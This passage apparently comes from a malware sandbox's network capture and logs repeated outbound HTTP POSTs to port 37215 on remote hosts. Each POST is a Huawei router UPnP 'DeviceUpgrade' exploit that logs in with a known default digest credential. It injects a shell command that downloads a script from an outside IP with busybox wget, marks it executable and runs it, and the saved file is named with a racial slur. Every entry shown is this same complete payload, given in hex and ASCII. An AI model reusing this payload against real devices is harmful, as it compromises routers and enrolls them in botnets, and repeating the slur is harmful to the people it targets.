HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:53.568829060 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:58.944711924 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.440221071 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.15	48912	94.122.122.188	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.304795027 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:49.440879107 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:50.752863884 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:53.568829060 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:58.944729090 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.440253973 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.15	41118	94.121.63.41	37215

Timestamp	Bytes transferred	Direction	Data
